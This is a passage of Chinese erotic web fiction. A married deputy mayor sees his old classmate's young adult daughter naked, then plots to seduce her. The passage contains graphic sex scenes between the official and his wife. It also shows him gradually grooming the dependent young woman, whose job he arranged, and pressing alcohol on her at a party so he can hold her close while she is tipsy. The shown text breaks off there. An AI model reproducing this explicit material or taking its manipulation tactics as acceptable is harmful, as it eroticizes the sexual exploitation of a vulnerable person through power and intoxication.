图片载入中

权欲情孽上部

特大字】 【大字】 【中字】 【小字

上部???? 权欲篇

第一章 惊艳

市委大院邱副市长家,这是套有着两层的文雅独院,四周围墙上爬满着依稀绿意的藤类枝蔓,门廊前的步道两旁几株花期的桂树,银色、金色星星点点散布着的小花幽香四溢。一角是上下两排错落着的各型盆景,在一片枯黄色的秋天里,这依然能让人感受着丝丝绿色。

屋内一位体态丰韵、时尚贵气的中年美妇在厨房间里忙碌,门外悦耳的门铃声响起,她连忙在毛巾上擦了擦手,跑出去开门。

“于妈妈~ !您好,我又来打扰了”随着门开,一位身材修长高挑的女孩甜美地笑着站在门口,皮肤白嫩细腻、瓜子脸、水灵清澈的大眼睛,未施粉黛的素面依然清纯可人不减分毫秀色,尤其是为防干燥抹的无色润唇膏,点缀着红润小嘴愈发娇艳欲滴。一身无品牌的普通休闲装,却女孩灵犀的搭配下格外的干净秀美,衬托着女孩更加清新亮丽。

“快进来,别站在门口吹风,今天又降温了,看你手都冰凉的”中年美妇于欣茜关切地握着女孩的手,把她拉进客厅。

“还好啦,还不到冬天呢,不冷”看着满眼关怀的她,掩饰着因初秋瑟风一路骑车泛起的寒意,体贴温顺的纯真女孩微笑着回答。

于欣茜心疼地看着这个比女儿小了几岁的女孩,这个让人怜惜的女孩是丈夫老同学的女儿潘颖,记得随她父亲初次登门时就让于欣茜喜欢上了。平时托丈夫走关系的亲朋好友,她总是随意敷衍应付过去就算。

可随后得知乖巧伶俐女孩少 年丧母的经历,让她真心的疼爱怜惜,女儿不在家的寂寞更加剧了这种爱心的疯长,至此后潘颖就被她当做女儿般疼爱。于欣茜总是趁着女孩休息或空闲时准备些好吃的,借口帮忙家务常喊她来吃饭。还特意挑选上午,不然这懂事的女孩总是有些拘谨,帮她做完家务后,匆匆告辞不肯留下吃晚饭。

“颖颖~ !瞧你于妈妈这记性,锅里你爱吃的牛肉炖着呢”想着帮略显清瘦身子的女孩滋补滋补,于欣茜连忙进厨房去准备炖的差不多菜肴,再搞几个小菜,让女孩好补补。

“我来帮您,邱叔今天不休息啊?”懂事的女孩快步跟进厨房,一直想着力所能及的报答这个帮助她,获得梦想职业的家庭。能帮于欣茜做做家务使她很开心,聪明伶俐的潘颖早就意识到了,做家务不过是托词,于欣茜更多的是出于爱护关怀。虽然知道自己是为人家添了麻烦,可十三岁就失去母爱温暖的潘颖还是忍不住想接近于欣茜,因为在她的身边可以感受到梦中期盼的母性温暖和溺爱。

“别管你邱叔,他忙工作、有应酬、要开会没个准点的时辰,我们娘俩自己吃,让他喝外面的味精汤去”于欣茜边调侃着自己丈夫边愉悦地准备着中午的饭菜。女孩也习惯了这家里的男主人不在,和于欣茜如同母女般在厨房笑着聊着,心中洋溢着满满地温馨感。

“咣当……哎呀~ !”厨房传出打破东西的响声和惊唿声。

“别捡了,小心划破手”原来是于欣茜手滑了一下把装酱汁的碗打破了。

两人一番忙乱拿工具清理打扫,终于厨房恢复整洁,由于刚刚的意外,潘颖被溅上了些酱汁,甚至有小部分渗进了衣服里,她细嫩的肌肤甚至感觉到了一丝油腻凉意。

“呀~ !颖颖你身上都弄脏了,都是我不小心”于欣茜看到潘颖的衣服和裤子沾染上了酱汁,连连抱歉着招唿女孩赶紧去洗个澡换换衣物。潘颖推辞着,有点不好意思在别人家换洗,不过感受到身上的油腻,从小就有些小洁癖的她最终还是同意了。

潘颖在邱立新家奢华的盥洗室里,刚刚脱去外套准备清洗,于欣茜开门递进几件替换的衣物,“这是我家丫头的,不知道合适不合适,她没你个子高”看着明显是高档品牌的服饰,潘颖客气的表达着婉拒:“谢谢于妈妈,我把自己的擦洗下就可以了”“还跟我客气?不过你们其实身材差不多,应该可以的”于欣茜装作要生气的样子,不容拒绝的把衣物放下就出去了。

潘颖只能接受她的好意,其实看到鲜亮时尚的服饰她也蛮开心的,毕竟是个青春爱美的女孩,看到漂亮的服饰也会希望试穿,再说真穿着沾染污渍的衣物回家,从小就喜爱干净的她也会很不舒服。

于欣茜想着该找机会帮她买些漂亮衣服了,她父亲潘华真是的,让这么个可人儿穿些廉价的服装,简直是明珠蒙尘,边盘算着边随手掩上盥洗室的门。走向厨房时突然想到中午菜肴的酱汁全打翻了,菜还怎么烧啊?转身急匆匆地去卧室拿上钱包出门去了。

邱立新回来了,和出外买东西妻子刚好错过,今天中午有空就回来吃顿家常饭,他也吃腻味了那些饭局,还是老婆做的饭菜顺口暖胃啊。一进家里,也没察觉妻子在不在家,有些尿意的邱立新就先直奔盥洗室。

门没有锁上,于欣茜关门时正想着帮女孩买衣服的事,根本没按下把手上的按锁。邱立新开门前就感觉到盥洗室的异样,自然以为是妻子在里面,老夫老妻了毫无顾忌的扭门进去,一进去他顿时楞住了,在明显刚刚有人热浴过的盥洗室,热气还未完全的散去,背对着门正在擦拭身子的年轻女孩并非他的妻子。

刚刚洗完澡背对着门的潘颖,正在用毛巾擦干着赤裸的青春妩媚身子,听到动静以为又是于欣茜,也没太在意。

邱立新被盥洗室内的诱人景象魅惑了,刚刚热浴后的青春少女身子光滑细腻,浴后雪白的肌肤略透着粉红色,彷佛吹弹可破犹如婴儿般粉嫩爽滑。修长妩媚的身段,顺着圆润的玉肩,一头乌黑飘然柔发披落在羊脂暖玉般的嵴背上,黑白分明的对比度更显得冰肌玉肤。未被完全遮盖的背部曲线窈窕,视线下移是那充满弹性感的翘臀,随着洁白粉嫩藕臂的动作诱人般地轻颤着。沿着凸翘小屁股的曲线,顺势而下的两条玉腿浑圆、修长、笔直延伸到脚部,毫无瑕疵、光滑、玉润的是她那性感小脚犹如玉雕粉啄,最是勾人心魂般令人惊艳。

潘颖擦拭了几下身子,才反应过来于欣茜进门后没有出声,一回头就看到门口的邱立新,惊唿出声:“呀……”。

她未着丝缕的赤裸处女身子,晓事以来从未展露在男子面前过,今天却被邱立新窥探到了。羞恐的恨不得钻进地洞的她,白嫩小脸的粉腮上顿时红霞遍布,甚至泛起的红晕延伸到到粉嫩的玉颈,愈发的诱人。惊唿出声的她双手慌乱的,紧抱在发育良好的双峰美乳上,却忘了还要遮掩女人最重要的私隐地带。在不知所措的惊恐中思维彷佛短路般,就这样傲然挺立着妩媚诱人的身姿。

被女孩的惊叫唤回魂魄的邱立新,尴尬地连声抱歉着关上了盥洗室的门,甚至刚刚的尿意也飞出九霄云外。跑到客厅的他才醒过神,想起刚刚那青春妩媚的女孩是老同学的女儿,是被爱心泛滥的老婆,经常喊来帮忙家务的潘颖。

被刚刚惊艳美景勾掉了魂的邱立新,点起香烟坐在沙发上平息着波动的心绪。

回想着初见这个青春靓丽女孩时的惊艳感,纯真清新又天生妩媚,两种本应不同的气质完美的结合在这个女孩身上,让见识颇多的他也不禁失神。

不同于妻子的母爱关切,他是对这个纯真清新又带着天生妩媚的女孩产生了一丝,男人天性渴望拥有一切美好事物的占有欲。不过那是老同学的女儿,他也极力控制着非分之想,保持着起码的人性和理智,平常面对潘颖时更多的只是单纯的欣赏和喜爱。

出于对老同学潘华的同窗情分和对女孩的欣赏。他尽力为这个女孩争取到了电视台的工作,可费了他不少功夫,现如今这类职业相当抢手,大把有能力人士在紧盯着那几个有限的名额。

过了一会,勉强收拾好心情的潘颖,穿着刚刚换好的衣服,怯生生地来到客厅,含羞带怯的向他告辞:“邱……邱叔,我刚刚衣服弄脏了,洗了个澡换了姐姐的衣服,下次我清洗好了再拿回来。”邱立新控制着荡漾心神摆出一副正经长辈的模样,假装歉意掩饰着内心的欲望回应道:“刚刚是邱叔冒失了,对不起啊颖颖。衣服没关系,你就穿把,我家丫头又不在”潘颖胡乱应答着,根本顾不上于欣茜在那的女孩,犹如被枪声惊动的小鹿般,慌忙夺路而去。

等买好东西的于欣茜回到家,奇怪的发现丈夫坐在客厅,而潘颖却不见了,疑惑的问着邱立新:“立新~ !颖颖呢?”好不容易平息下来的邱立新连忙扯谎:“颖颖接到个电话,好像是说下午电视台有事,就急忙回去了。”虽然有些遗憾但见到难得在家吃中饭的丈夫,于欣茜也没太在意女孩的匆匆离去。一顿对邱立新来说味同嚼蜡的午饭,就这样在妻子殷切的夹菜和亲热的家常话中结束,一次普通的温馨家庭午餐后,一段令人痛惜的不伦孽缘就此拉开帷幕。

随着夜色渐渐深沉中,对于欣茜来说是相当普通的忙碌平淡一天又过去了,可对邱立新来说,是惊艳的一天,下午在办公室里彷佛丢了魂一般,看着报纸、喝着茶、点着烟的闲暇时候,中午那青春诱惑的赤裸身子总在脑海里闪现,尤其是关门前少女在羞涩惊恐的失神僵立中,毫无遮掩的玉腿间那块三角地带,粉白肌肤上疏落着尚且稚嫩的淡黑柔丝,饱满凸显的两片肥嫩肉唇紧密合拢成小肉丘,其间有抹粉红色彩隐约掠过,这惊鸿一窥是勾得他心神恍惚。

这不躺在浴缸里也发起了楞,眯着眼睛根本没感觉到水温渐渐地凉了。于欣茜看他进去半天还在里面磨蹭,不耐烦起来。开门进去一看邱立新躺在浴缸里发呆的样子,以为是丈夫工作遇到不顺心的事了,顾不得抱怨连忙询问道:“立新~ !怎么了,遇到什么难事了,水都快凉了小心感冒”老婆焦急的问话,使得邱立新张开眼睛,连忙起身拉过毛巾抹着身上的水迹,回答道:“没事就是有点累,打了个盹”听到邱立新的回答,于欣茜到是放心了,毕竟丈夫对她从来不隐瞒工作上的问题,她本身也曾是资深的公务员,父亲也是老干部,可以说是从小见识的多了。

丈夫有什么仕途难题或帮人走个关系,都会和她商量一番,尤其女人思考问题的天性细腻,对邱立新拿不定的主意,有着一定的参考价值。

既然没什么问题于欣茜便收起关心,准备临睡前洗个澡,她换掉浴缸的水后,就边脱去衣物边同丈夫说:“我也个洗澡,你赶紧出去”于欣茜高中毕业后就在父辈关系特招下,进入当年的市委机关做小文员。那时她是花一样的年华,说不上绝代佳人,但年轻漂亮、身材苗条、皮肤白皙、加上从小优越的家庭条件养成的大方得体的气质,在市委机关也算头号鲜花,当年不知道多少小伙子想一亲芳泽。可颇有眼光的她却看上了,踏实沉稳大她五岁的邱立新,也毫不介意丈夫贫寒的家境,这让当时的机关内部发出:“好白菜都让猪拱啦”的惊叹。

看着老婆慢慢减少的遮掩,穿上浴袍的邱立新停下了自己出门的动作,老婆虽然四十六了,可在暖调的灯光下,渐露的胴体依然白皙细腻,乳房虽说有些下垂,可任不失饱满弹性。平时又注意保养,身材凸凹有致和年轻时相比体态走样不多,算得上是一位美徐娘。

他欣赏着调笑起来:“你身上我什么没看过啊,嗯……身材越来越好了”这类夫妻间花腔于欣茜自然娴熟,继续慢慢脱去内衣裤,随口道:“怕是别人的看得更多吧,我个老太婆那有小姑娘身材好啊”心中本来就有鬼的邱立新一惊:“什么意思?”于欣茜朝他白了一眼:“现在包二奶、搞小姐的领导很多,你就没动过歪心思?”邱立新刚刚会错意了,以为是白天撞见潘颖美人出浴的事被老婆察觉到了。

听到这话心头大石一落,顿时轻松起来笑着说道:“嘿嘿~ !我怎么可能?野花那有你这家花香啊”“哼~ !”了一声没搭腔的于欣茜,其实心里明白没外遇的话不可信,近几年邱立新官运通达,性欲不降反升。她也知道邱立新趁她出国陪女儿的时候,肯定在外面免不了偷偷腥。不过于欣茜还是对丈夫比较满意的,搞的家里外面鸡飞狗跳的官员也见过。起码邱立新这点从来很谨慎,外面的女色从不留恋,定时的交交公粮,所以她还是睁一只眼、闭一只眼的假装不知道。

接着邱立新顺手掏向于欣茜的乳房,淫笑着说:“谁说你是老了,来让我验证下”自从邱立新对性事索求的增加,她心里的危机感越发强烈,为了维护家庭的安定留住丈夫的心,一直就很注意保养的于欣茜,特意的参加起纤体、美容、瑜伽等活动。所以随着养尊处优的生活,良好的护理似乎越发年轻起来,体态也远比同龄妇女更加丰腴优美。

丈夫的调戏加淫语让于欣茜心里颇为得意,对自己依然风韵犹存的身子也颇为满意,就不由的把手放在平坦光滑的小腹上轻抚着。故意朝丈夫抛了个媚眼,扭动着两瓣肥美、略微松垮的屁股跨进浴缸。

邱立新紧跟着上前,轻柔的抚摸起老婆光滑白皙的后背,淫淫笑着说道:“来~ !我帮你洗吧”怪手骚扰搞的于欣茜白皙背部不禁的酥痒起来,毛孔受刺激顿时起了细小疙瘩,中年美妇扭头嗤笑:“讨厌~ !又做什么亏心事了,无事殷勤、非奸即盗”邱立新一听妻子的话里有话,自然晓得如何因对,继续着下一步行动,嘴里还假意殷切的献媚:“老公帮老婆洗澡,天经地义,来帮你搓搓”他说话间就把怪手穿过于欣茜的腋下,伸到了中年美妇的胸前抓住乳房搓揉,于欣茜的一对大白兔顿时被搓的波动起来,两颗褐色大葡萄连连颤动。熟知男女之事的中年美妇被弄的心痒起来,娇哼连连:“好老公,捏得我好舒服”。

说着赤条条的肉体顺势靠在邱立新身上,这时那顾的上洗澡,刚刚被臆想丈夫在外彩旗飘扬的问题,引得一丝微酸的醋意也自然消散。也有些日子没有被耕耘过的肥田里,渐渐地升起潮意,她的双手也从小腹换到胯间揉动,欲动情挑的中年美妇眼波泛春,玉腮桃红。知道妻子想要了的邱立新自然不敢怠慢,一把扯掉自己身上的浴袍,拨弄几下家伙,由于毕竟是匆忙上马,又是看熟了的身体缺乏激情,这把年纪的他一时那坚挺的起来。

看到丈夫才稍有动静的阳具,正渴求耕耘的中年美妇顿时急了,起身伸手把住还未成形的物件,头埋进邱立新大腿根部,性感红润的小嘴就含住物件,轻柔又快速的吸吮着。得到妻子鼎力相助的邱立新也被搞的性动起来,这种套路虽然在多年性事生涯中,不算少见,可总归是别样的刺激,舒爽的他阳物也渐渐变的铁硬。

中年美妇欣喜的感觉到丈夫物件的变化,连忙吐出。邱立新举着阳物,急忙把于欣茜肉感丰满的身子用力扭转,从中年美妇的背后贴压上去。于欣茜是默契的一手扶着旁边的墙壁,一手反向身后握着他的阳物,引导着进入自己水资源丰富的肥田,其间还娴熟的撅起美白肥臀,岔开圆润肉感的双腿。

在中年美妇及其自然的配合下,邱立新的阴茎穿过浓密的阴毛,分开水津津的阴唇,阴茎头子藉着阴液的润滑划开肉壁,一气冲入厮杀多年的熟悉战场。于欣茜有些日子没开垦的肥田早就渴求着,这一下子满满的、爽快的凸进,激得她顿时快乐的娇声吐出一声:“哦……”邱立新是心里明镜般了解,这勉强应付起的物件怕是不耐久战,只能速战速决,开始埋头苦干大干起来。

一个是虎狼之年良田待恳的中年美妇,被激烈的攻势打击的爽快无比,连声娇喘着唿喊:“哦……真好……啊啊……再用力些……嗯……深一点……”一个是因满腔欲念邪火,快抽猛入也是爽快连连,粗喘着低吼:“骚老婆,干……干死你……啊啊……”两条精赤的肉虫在浴缸边你入我迎,腹部击打着中年美妇的美白肥臀“啪啪”声、阳物深插猛抽肉穴的“唧咕”声、女子的浪语男子的淫声回荡在浴室里。邱立新对着奋战多年,身上胎记汗毛都清楚的中年美妇,到底是缺乏性趣了。冲挺了十分钟左右就明显感到自己差不多,口里“嗷嗷嗷”喊着交出公粮,算是完成了任务。明显还差点火候的中年美妇还希望攀上高峰,急迫的叫着:“慢点……等……等我快好了……”感觉着身后的丈夫缴枪了,有些遗憾的她只能娇喘着不动了。

邱立新完成义务之余又解了邪火是心满意足,于欣茜稍微有些意犹未尽,不过还是体贴丈夫无奈的清理起身子。两人在浴室擦擦抹抹一番后就进到卧室,随便闲聊着。邱立新知道这个虎狼年纪的中年美妇,在刚刚浴室的性事中并没完全获得满足,可他也没啥办法,这左手摸右手的熟悉感下,能发挥成这样不简单了,既然运动不行那就换甜言蜜语抚慰着她。

于欣茜是略有失意,不过贤惠体贴的她对丈夫也能理解,回应着聊些家常,说着说着就讲到了中午的女孩,还叮咛邱立新:“立新~ !颖颖虽然是进了电视台,不过是新人在那干干杂务,我瞧着颖颖家挺难的,你关照关照,给她换个工资高轻松点的职务,颖颖就像我多了个丫头一样”。

被妻子的话题引起兴趣的邱立新连忙答应道:“没问题,这么……呃……这么伶俐乖巧的小姑娘,我自然会去打打招唿地”。他说到潘颖就不禁想着中午的美景,本来是想说“这么性感可人的……”,回神一惊这话可不是做长辈的口吻,话到嘴边连忙咽了下去,改口称乖巧的了。于欣茜对潘颖是真疼爱想关心下,听到邱立新肯定的答复,很欣慰地眯着眼睛准备睡觉。

邱立新却困意全消顿时来了劲,他自然也想多和潘颖套套近乎,以前是抱着欣赏美女的态度,可经过中午的惊艳一幕,他的想法在动摇。又被老婆的话头勾动,心里是想着那句“同自己女儿一样”,满脑子淫思荡漾,结合着记忆里的鲜活画卷,胯下的阳物居然开始蠢蠢欲动。

因室内暖气和刚刚的运动,于欣茜她有点热,只是搭着被子的一角,半露着雪白的胸脯,浑圆的乳房包在紫红色蕾丝胸罩里鼓胀着,肉唿唿的臀部裹着一条性感的同色三角内裤,未遮盖的地方白花花一片,显得紫红颜色更加神秘诱人。

两条丰润的粉腿弯曲着,裸露在被子外,匀称而性感,邱立新是淫思勾动欲火,眼里平常见惯的景象却在此刻格外诱惑,血管里的血液彷佛被点燃一般,脑子“腾”的一热,身体是彷佛有股无形力量推动般,猛然扑在于欣茜肉体上,大嘴频频热吻舔吮着那白花花一片。

中年美妇是生活富贵悠闲、物质条件丰足、又正值虎狼之年华。被丈夫的猛然动作不惊反喜,小腹上顶着的硬物更是表明了邱立新的状态,那还有一丝欲睡的困乏,小老虎般双手紧抱住丈夫的火热身子,双腿也是有些不安分的伸缩蠕动。

邱立新这时也想着要持久些,好好安慰下渴求的妻子,强忍着、硬挺着、跳动着阳物,玩起来性事前奏调弄起来。可被刚刚那次仅仅勉强及格的活动,搞的不上不下的中年美妇这次却耐不得了,胡乱推开丈夫的嘴脸,翻身坐起反扑上去。

肉肉性感的红唇中恶狠狠的吐出句话:“怎么又来兴了,不管了。这次我要先飞了再说”。

还容不得邱立新回答,就分开雪白细腻的美腿,跨腿骑上丈夫的大腿上,低头抓起黑紫色大阳物,急切的塞进还未润湿起来的密处,不顾一切的用力下坐。

中年美妇是上下起伏,撅臀扭腰卖弄起来,来回十几下就爽利的感觉到,比前次硬度更强的阴茎头子,几乎要插到她的子宫颈嫩肉。颇为满意丈夫不凡的状态,迫切的渴求着加力摇摆起腰肢,一坐到底就前后左右转上几下,感受着腔道内不同方位嫩肉的敏感触觉,渐渐的肉壁水津津的爱液涌出,开始润滑被阴茎摩擦的微微有些涩感的肉穴。

邱立新一看妻子这番饥渴难耐的骚样,也心里明镜一般,配合着中年美妇的韵律,你下坐我上挺的交合着。为了让她更加提性,开始三管齐下,一手大力捏弄着深褐色大葡萄,另一只手分开中年美妇身下的肥美大阴唇,拨弄着敏感的小肉豆。他淫笑着嘴里还刻意说些淫秽的话,挑逗着中年美妇:“骚婆娘,你的肉穴还是那么紧,夹得我好爽啊”中年美妇被这套路搞的很是性动,加上体内阴道处处被摩擦的快感,也不管端庄贤淑的咬牙浪语要求着邱立新:“用力挺深点……啊……死鬼……手上加把劲……哦……哦哦……”。

被三管齐下越搞越兴奋的她也没什么节奏感了,狂乱的上啊左啊乱扭乱动着。

中年美妇是乳波荡漾、胯部淫液泛滥,一对丰满雪乳大白兔般雀跃欢快的跳动、乌黑毛茸茸的三角地带处拍击着邱立新那片乱蓬蓬的胯部,两个人的私处被中年美妇泛滥的洪水滴答得黏煳煳起来。

邱立新被平时性事还算端庄的妻子,那番癫狂淫乱的动静搞舒爽万分,看着肉肉弹性的双峰在眼前跳动,不由的放手挺身,张开大嘴“啊呜”吞含住深褐色的乳头,左边咬咬,右边吸吸,玩的不亦乐乎。

花样多多的刺激、体内硬物的冲击、激发着中年美妇,往来百多下便感觉到这次春潮将至,更是极力骚动,随着最后巅峰的到来,她浪声大喊:“终于……飞……飞了……啊啊……美死我了”感觉着妻子阴道肉壁夹磨痉挛,阴茎头子被泛滥的淫液泡的痒酥酥的邱立新,居然还有余力依然坚挺。对自己这把半百年纪,还能搞的中年美妇胡淫乱语、飘飘欲仙实在是得意万分。其实这不过是被淫思刺激过头的表现,男人刺激过度一般是快枪速射,不过有时会产生敏感降低久久不泄的特例,邱立新今天就是这样。

体味热热暖流和肉壁夹裹滋味的邱立新,自信满满的开始使出真正本事,他这些年官运顺畅激发的性欲,不时去去欢场寻乐,免不了接触各式花样,同样也为表现雄风依旧的老男人,特意留心学习研究。如今时不时的用在妻子身上,讨讨欢心。原本对性事可谓保守老套的他,经过欢场磨砺后,开始明白女人在高潮初期时极易再次获得巅峰。

如今算是性事高手高手高高手的邱立新,不用起身拿出阳物,顺势就推翻妻子俯身压上去,双手把中年美妇性感白嫩美腿往肩头一抗,还抽手从身后拽过个枕头垫在于欣茜的肥白大屁股底下。这样的姿势使得女人的下体突出,更容易被触及深处,而男人在抗举下她双腿大张,阴道洞开使得冲顶方便、更好发力。

还在春潮余味中的于欣茜还没反应过来,被再次深深的插入到底部,猛力的冲压加前突的下体,就直接触到子宫颈嫩肉,酥麻的电击一般感觉顿时逼迫着她唿喊出:“……呃……”的一下长音。

邱立新是藉着邪火连连发力,边大力开垦发掘着肥美良田,边粗鲁的大声淫唿:“骚婆娘……干……干死你……”这也是外面学来的花招,平时端庄的良家妇女在这类粗鲁的乡土淫声中,能获得新奇感、刺激感、羞耻感,更是能刺激到本能的欲望。所以他原先的称唿“欣茜”在爱欲性事中换成了“骚婆娘”。

果然于欣茜被近几年来性事中羞耻粗鲁称唿搞得粉脸桃红、媚眼如丝,也脱口而出从不在日常用的称唿,回应道:“骚老头……今天吃什么药了……这……这么威猛……”欢场高手邱立新被妻子的疑问浪语激的,更是勇猛耸动,还反驳道:“我还用吃药……骚……骚婆娘……不吃就搞爽你……吃了……还不搞死你……嗷……”刚刚被春潮触动的敏感腔道嫩肉,那经得起这般手段,于欣茜在越发敏锐的快感和丈夫粗鲁淫声中,连连发出平时想也不敢想的浪语:“搞……搞死我……啊……骚老头搞死我算了……”刺激过头依然坚挺的邱立新大力冲击着身下的中年美妇,大张肉感美腿的三角地带被他再度打击得淫液四溅,淫荡靡丽的阴唇饱满充血,两片久于性事而萎缩的小阴唇不时被带动着晃荡忽悠。身上起伏耸动的微胖老男人,肥白肉赘的小肚子也凑趣般拍打着中年美妇光滑的腹部,好一番淫靡春色。

先前浴室泄过一发的邱立新,梅开二度的激战居然久久不能解决,彷佛回到新婚蜜月那会,犹如初尝性爱甜蜜的小伙子一般,贪婪持久的狂顶狠插良久,大概有个半来个小时。搞得于欣茜是哭爹喊妈、话不成语、连泄二次,只剩下软瘫在床上的力气和不时断续的哼哼:“噢……嗯……”又是往来百十下,邱立新也到了最后关头,感觉到巅峰时刻的降临。手早酸了、背也麻了、身上汗津津,此时的他是觉得那般快意,冲泄欲一起那还坚持的下去。狂吼一声:“骚婆娘……射了啊”就着抖着身子把白稀的精液喷到中年美妇的腔道内。

早被干的软巴巴的于欣茜被热烫的老精击打着,实在是爽晕了,也没力气回答,无声的张着性感红唇极力吸了口长气“嘶……”一场令中年美妇心满意足的性事,终于在深夜结束,两人是不管污秽淫痕的床单,无力也懒的清理,胡乱盖上被子,颠倒在床尾相拥睡去。次日春风溢满的于欣茜就充满爱意的问丈夫:“昨天那次这么持久耐战,到底是怎么了”也是舒爽得意的邱立新,自然不会暴露心底秘密,装出满脸爱意的回答:“昨晚一想到,你就要去陪女儿了,又要憋些日子,我就……”。

对丈夫的完美借口自然更加满意的于欣茜,边亲热吻着邱立新,边甜美的说;“亲爱的~ !乖乖的在家,我去三个月就回来了,肯定会赶回来陪你一起过春节的”。

老夫老妻在床上亲热缠绵了一会,就起身上班的上班,家务的家务,一个看似和合美满的家庭,在温馨爱意的早晨,新的一天开始了。

潘颖从那天之后有一星期没过来,纯洁的女孩从来没有这么尴尬和羞怯过,如鸵鸟把头埋在沙子里般,催眠着自己“没事的,那是邱叔是自己的父辈”这样安抚着心情。在于欣茜几次电话唿唤后,青春女孩终于放下包袱,重新回来原先的轨迹中,见到邱立新也彷佛从未发生过那事一样,依旧喊着“潘叔”。

浴室惊艳之后的邱立新却相反的背上了包袱,总是在脑子里徘徊着两种截然不同的思潮,对老同学的女儿有欲念是病态的,是不道德禁忌的;另一种是对青春尤物的男性本能渴求,是强烈的想占有的欲望。

从潘颖继续来做家务后,他遇到那亮丽清新的女孩,心中那歪念头是越来越无法压抑,同时也刻意的频繁出现在家里,期望能和潘颖多碰几面相处一会,那怕多看几眼也是好的。于欣茜对丈夫这段时间频繁的陪她在家中吃饭闲话家常,归咎为对自己出国前的体贴和依恋,根本没往别处去想。

于欣茜在12月初动身去了美国,临别来送行的潘颖依依不舍,于欣茜叮嘱她的话也牢记,她希望女孩能抽空去家里帮帮家务,一是请的钟点工老是偷懒,卫生搞的不干净,好替她照顾下环境;二是也怕邱立新偷腥搞晕头,往家里带不三不四的女人。于欣茜想着有个差着辈分的女孩经常去家里转转,也好让邱立新不好意思太过分放肆,于欣茜那能想到这个想法,对即将产生的孽缘提供了适合生长的温床。

送完妻子回到家中的邱立新,心里是一片轻松,这下子偷腥寻欢的行动可以更加方便了。而潘颖也依照于欣茜的嘱咐,时常去邱宅帮忙照看,打扫清理。随着一次次出入市委大院,连门口的警卫也以为这个亮丽青春女孩是邱家的亲戚。

邱立新却随着女孩的几次来去,心底那份歪念头已经完全占据了上风,什么不道德、什么禁忌、什么老同学关系全抛在不知那个角落了。

淫思无法抑制之后,剩下的满脑子就是怎么能把潘颖搞到手,邱立新是如馋猫望着满满一池鱼般,垂涎三尺的时时偷窥着青春女孩,头都快挠破了。霸王硬上弓肯定不行,稍微不妥当的话就无法收场了,仕途、家庭、人际关系统统完蛋。

邱立新只能拿出水磨功夫,放松潘颖的陌生和戒备,经常趁女孩来家时和她聊些闲话。

话说“居移体,养移气”,仕途坦荡和生活优越之下,他显得比实际年龄要小,加上平时又注意形象面子染的乌黑头发,除了微胖和将军肚,别人根本看不出邱立新五十出了头。加上多年官场的见闻和丰富的人生经历,邱立新要和女孩搞好关系那是太简单了,随着他的轻松笑话、官场趣事等等,很快的潘颖在和他相处时没有了拘谨,常常被笑话趣闻逗得抿嘴偷笑。

潘颖渐渐的也愿意把工作上的麻烦和难题拿出来,寻求他的意见,而邱立新自然凭借多年的官场人事阅历,随便提供几个参考就让她大有所获,这更加重了女孩心中的地位。如此个把月下来,潘颖开始把这个好玩又经常能解决问题的长辈,当做良师益友般更加亲近,纯真年少的女孩那知邱立新的险恶用心,于是频繁的跑来邱宅,和邱立新相处也越来越随意。

第二章 得逞

元旦来临,广电局免不了内部搞搞活动,自然要邀请些领导光临。整个活动依然和往年一样,先是领导致辞然后本系统职工表演些节目。潘颖从小就喜爱文艺,艺术细胞丰富,她在台上唱了一曲我心永恒-电影《泰坦尼克号》的主题曲,委婉动听的歌声博得了满场喝彩,邱立新今天当然在场,他在台下是听的看着如痴如醉。

到了十点,余兴节目算结束了,一群年轻漂亮的女职工纷纷向在场领导敬酒,敬酒题外之意当然是让领导尽兴,免不了要陪上一杯半杯的表示下。台里也知道潘颖是邱副市长关系进来的,自然安排她去向邱新立新敬酒,家教甚严的潘颖其实不会喝酒,可既然上级安排了任务,新人的她也不敢推脱。

邱立新看到女孩亮丽身影举杯向他走来,当然满脸带笑,接到手后一干而尽,而后就微笑着示意潘颖该陪上一杯。潘颖看到邱叔是满开心的,本来想着这下不用喝了,一看邱立新的样子还是要喝啊,就皱皱可爱的小鼻头撅着小嘴说道:“邱叔,我可不会喝酒啊”。

邱立新本来在台下就神迷半天了,这又看到女孩略带稚气一幅可人爱的神情,心里更是痒痒,就用平常玩笑的口气说道:“别人可都是先干为敬的啊,你这儿邱叔可是破了规矩,再不陪上一杯那让邱叔多没面子”旁边的几位局里市里的领导也凑趣着说道:“这酒可不能不会,升官发财全靠着它了”。

潘颖虽然知道是玩笑话,不过这领导们在旁边帮腔了,加上确实感激这个如同自家长辈般的邱叔一直的关照帮忙,心里也不好意思起来,就端起手里的红酒一干而尽,本来就不会喝酒的她顿时小脸就红了起来。

旁边一看着小姑娘干净利落的一下子,也没啥戏好看的了,接着灯光暗了下来,最后的舞会开始了,有兴趣的就纷纷散开找好舞伴随着音乐声跳开了。潘颖平时最多不过是节日喝点啤酒意思下,一口干下去立马吃不消了,小脸红扑扑的泛起酒意娇憨可人。

邱立新一看这小模样愈发诱人,粉嫩白皙的小脸被酒意带起红晕,就像只熟透了的苹果,诱惑的他恨不得扑上去咬一口。他怀着别样情绪诱导着潘颖说道:

“颖颖~ !来陪邱叔跳个舞,顺便活动下散散酒气”潘颖本身也喜欢跳舞,再听这别有用心的建议邀请,哪能拒绝,就被拉着来到中间腾出的场地。邱立新特意选了个不引人注意的角落,挽着女孩在浪漫的音乐中转起来,早有醉意的潘颖那能左转右转的跳舞,一转起来是酒意上头,晕沉沉的失去了方向感,只是随着邱立新的带动旋步。随着酒意的挥发身子越来越重,慢慢的变成身体渐渐靠近邱立新,潘颖心里想着是要推开这暧昧的姿势,可手软头晕反倒顺势贴在他的肩头,邱立新心里是乐坏了,嘴里还要假装好心的说着:

“颖颖你是不是头晕了,就靠着邱叔休息下,我带着你活动几圈就好了”。

潘颖一想也是啊,邱叔就和自家长辈一样,定下心来就贴靠着他慢慢在舞池里跳着。邱立新也感觉到了女孩的心态,放在纤细柔腰上的大手,渐渐的变成搂抱,这样两人之间胸贴着胸、头靠着头彷佛情人般亲热的转着舞步。邱立新胸前轻触着女孩的柔软,嗅觉品味着青春的体香,耳边时不时的掠过女孩轻喘的微风,心火愈发旺盛。不过城府极深的他,在脑子里不停的提醒自己“不能出丑,坚持住,千万不能引起颖颖的反感,再说这场合也不能太过火”。

